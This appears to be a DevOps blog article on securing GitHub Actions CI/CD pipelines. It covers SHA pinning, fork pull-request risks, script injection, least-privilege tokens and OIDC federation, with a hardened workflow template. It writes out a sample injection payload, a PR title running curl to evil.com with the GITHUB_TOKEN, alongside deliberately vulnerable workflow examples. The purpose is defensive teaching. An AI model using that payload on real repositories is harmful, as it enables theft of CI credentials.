The GitHub Actions Attack Surface
GitHub Actions has become the backbone of CI/CD for millions of repositories. With that adoption comes a growing attack surface that threat actors are actively exploiting. The 2025 tj-actions/changed-files incident — where a malicious commit to a popular action exposed secrets from thousands of CI pipelines — demonstrated how catastrophic a single compromised action dependency can be.
Understanding the full attack surface is the first step. GitHub Actions pipelines are vulnerable to:
- Compromised third-party actions — the action you pin today might be different tomorrow if you use mutable tags
- Pwn requests — pull requests from forks triggering workflows with write access
- Script injection — untrusted input (PR titles, branch names) used in
run:steps - Excessive GITHUB_TOKEN permissions — workflows with more permissions than needed
- Secret exfiltration — secrets visible in logs, sent to external services
- OIDC token abuse — misconfigured cloud trust policies accepting any repo's tokens
- Artifact poisoning — malicious artifacts uploaded by one workflow and consumed by another
Attack Vector 1: Compromised Third-Party Actions
The most common mistake: using mutable action references like uses: actions/checkout@v4. If that tag is moved or the action is compromised, your workflow silently runs attacker-controlled code.
The Fix: Pin Everything to SHA
# VULNERABLE: Mutable tag reference - uses: actions/checkout@v4 - uses: actions/setup-node@v4 - uses: aws-actions/configure-aws-credentials@v4
# SECURE: Pinned to immutable commit SHA - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0 - uses: aws-actions/configure-aws-credentials@ececc811c41c4ab39be0c7ecc42a87e1b7fa4d08 # v4.3.0 # The comment showing the version tag is critical for maintainability # Use tools like Dependabot or pin-github-action to automate this
Automate SHA pinning with the pin-github-action tool:
# Install and run pin-github-action on all your workflows
pip install pin-github-action
pin-github-action .github/workflows/*.yml
# Or use the GitHub Action itself for automated PRs
# .github/workflows/pin-actions.yml
name: Pin Actions
on:
schedule:
- cron: '0 9 * * MON' # Weekly on Monday
jobs:
pin:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: mheap/pin-action@ # Pin the pinner too!
Attack Vector 2: Pwn Requests (fork pull_request Workflows)
When a workflow triggers on pull_request, code from an external fork runs in your CI environment. If the workflow has write permissions or access to secrets, an attacker can open a PR to execute arbitrary code.
# VULNERABLE: pull_request with secrets and write permissions
on:
pull_request:
branches: [main]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4 # Checks out ATTACKER'S code
- run: npm test
- uses: aws-actions/configure-aws-credentials@v4 # DANGEROUS
with:
aws-access-key-id: {{ secrets.AWS_ACCESS_KEY_ID }} # EXPOSED
# SECURE: Separate test workflow (no secrets) from deploy (requires approval)
# .github/workflows/ci.yml — runs on pull_request, NO secrets
on:
pull_request:
branches: [main]
permissions:
contents: read # Minimal permissions
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: npm ci && npm test
# No secrets here, no cloud access, read-only
---
# .github/workflows/deploy.yml — only runs after merge to main
on:
push:
branches: [main]
permissions:
contents: read
id-token: write # Only what's needed for OIDC
jobs:
deploy:
runs-on: ubuntu-latest
environment: production # Requires manual approval
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- uses: aws-actions/configure-aws-credentials@ececc811c41c4ab39be0c7ecc42a87e1b7fa4d08
with:
role-to-assume: arn:aws:iam::123456789:role/GitHubActionsRole
aws-region: us-east-1
Attack Vector 3: Script Injection via Untrusted Input
This is subtle but critical. When you use {{ github.event.pull_request.title }} or similar in a run: step, you're directly interpolating attacker-controlled content into a shell command.
# VULNERABLE: Direct interpolation of untrusted input
- name: Post comment
run: |
echo "PR title: {{ github.event.pull_request.title }}"
gh pr comment {{ github.event.pull_request.number }} --body "Processing: {{ github.event.pull_request.title }}"
# Attacker creates PR with title:
# "$(curl -s https://evil.com/exfil?token=$GITHUB_TOKEN)"
# This executes in your runner, exfiltrating the token
# SECURE: Pass untrusted input via environment variable, not interpolation
- name: Post comment
env:
PR_TITLE: {{ github.event.pull_request.title }} # Set as env var
PR_NUMBER: {{ github.event.pull_request.number }}
run: |
echo "PR title: $PR_TITLE" # Shell reads from env, not raw interpolation
gh pr comment "$PR_NUMBER" --body "Processing: $PR_TITLE"
# The env var approach prevents injection because shell doesn't
# evaluate the content as a command — it's just a string value
Attack Vector 4: Excessive GITHUB_TOKEN Permissions
By default, GITHUB_TOKEN has write permissions to your repository. Most workflows don't need this.
# Set repository-level default to read-only in Settings → Actions → General # Then grant only what each workflow needs: # Workflow that only reads code and runs tests permissions: contents: read # Workflow that creates releases permissions: contents: write packages: write # Workflow that posts PR comments permissions: pull-requests: write contents: read # Workflow that deploys via OIDC (no static AWS keys!) permissions: contents: read id-token: write # Required for OIDC token request # NEVER use: permissions: write-all # This is the dangerous default for many templates
Attack Vector 5: Static Secrets vs OIDC Federation
Storing long-lived AWS access keys, GCP service account keys, or Azure service principal secrets in GitHub Secrets is a significant risk — they can be exfiltrated and used indefinitely. OIDC federation eliminates this by issuing short-lived tokens per workflow run.
# === AWS OIDC Setup ===
# 1. Create IAM OIDC Identity Provider for GitHub
aws iam create-open-id-connect-provider --url https://token.actions.githubusercontent.com --client-id-list sts.amazonaws.com --thumbprint-list 6938fd4d98bab03faadb97b34396831e3780aea1
# 2. Create IAM Role with trust policy
cat > trust-policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::YOUR_ACCOUNT_ID:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub":
"repo:YOUR_ORG/YOUR_REPO:environment:production"
# Lock to specific repo AND environment — don't use wildcard!
}
}
}
]
}
EOF
aws iam create-role --role-name GitHubActionsDeployRole --assume-role-policy-document file://trust-policy.json
# 3. In your workflow (no stored secrets needed!)
- uses: aws-actions/configure-aws-credentials@ececc811c41c4ab39be0c7ecc42a87e1b7fa4d08
with:
role-to-assume: arn:aws:iam::YOUR_ACCOUNT_ID:role/GitHubActionsDeployRole
aws-region: us-east-1
role-duration-seconds: 3600
Complete Hardened Workflow Template
# .github/workflows/deploy-production.yml
name: Deploy to Production
on:
push:
branches: [main]
# Minimal permissions at workflow level
permissions:
contents: read
id-token: write # Required for OIDC only
# Prevent concurrent deployments
concurrency:
group: production
cancel-in-progress: false # Never cancel a running deploy
jobs:
deploy:
runs-on: ubuntu-latest
environment: production # Requires manual approval from code owners
timeout-minutes: 30 # Prevent runaway workflows
steps:
# Pinned to SHA, not tag
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
# OIDC — no static AWS keys stored
- uses: aws-actions/configure-aws-credentials@ececc811c41c4ab39be0c7ecc42a87e1b7fa4d08
with:
role-to-assume: {{ vars.AWS_DEPLOY_ROLE_ARN }}
aws-region: {{ vars.AWS_REGION }}
# Use vars (non-secret config) not secrets for non-sensitive values
- name: Deploy
env:
ENV_NAME: {{ vars.ENVIRONMENT_NAME }} # Non-secret via vars
IMAGE_TAG: {{ github.sha }} # Immutable commit SHA
run: |
# All shell variables from env, never from inline {{ }}
aws ecs update-service --cluster "$ENV_NAME" --service "my-service" --force-new-deployment
# Audit: write summary, not secrets to logs
- name: Deployment Summary
run: |
echo "## Deployment Complete" >> $GITHUB_STEP_SUMMARY
echo "- Environment: {{ vars.ENVIRONMENT_NAME }}" >> $GITHUB_STEP_SUMMARY
echo "- Commit: {{ github.sha }}" >> $GITHUB_STEP_SUMMARY
echo "- Triggered by: {{ github.actor }}" >> $GITHUB_STEP_SUMMARY
Automated Security Scanning for Workflows
# Use actionlint to statically analyze all your workflows # Install curl -sL https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash | bash # Run on all workflows ./actionlint .github/workflows/*.yml # Use zizmor for deeper security analysis (detects injection, permission issues) pip install zizmor zizmor .github/workflows/ # Integrate into your CI: - name: Lint and Scan Workflows uses: rhysd/actionlint@- name: Security Scan Workflows run: | pip install zizmor zizmor .github/workflows/
Security Hardening Checklist
- ☑ All action references pinned to full commit SHA
- ☑ Default permissions set to
read-allin repository settings - ☑ Each workflow declares only the permissions it needs
- ☑ No static cloud credentials stored in Secrets — use OIDC
- ☑ OIDC trust policies locked to specific repo + environment (no wildcards)
- ☑ Untrusted input passed via env vars, never interpolated in
run: - ☑ Deploy workflows use
environment:with required reviewers - ☑
pull_requestworkflows have no secrets or write permissions - ☑ actionlint and zizmor integrated into CI
- ☑ Dependabot or Renovate configured to update action SHA pins
Etiketler
Marcus Rodriguez
Lead DevOps Engineer specializing in CI/CD pipelines, container orchestration, and infrastructure automation.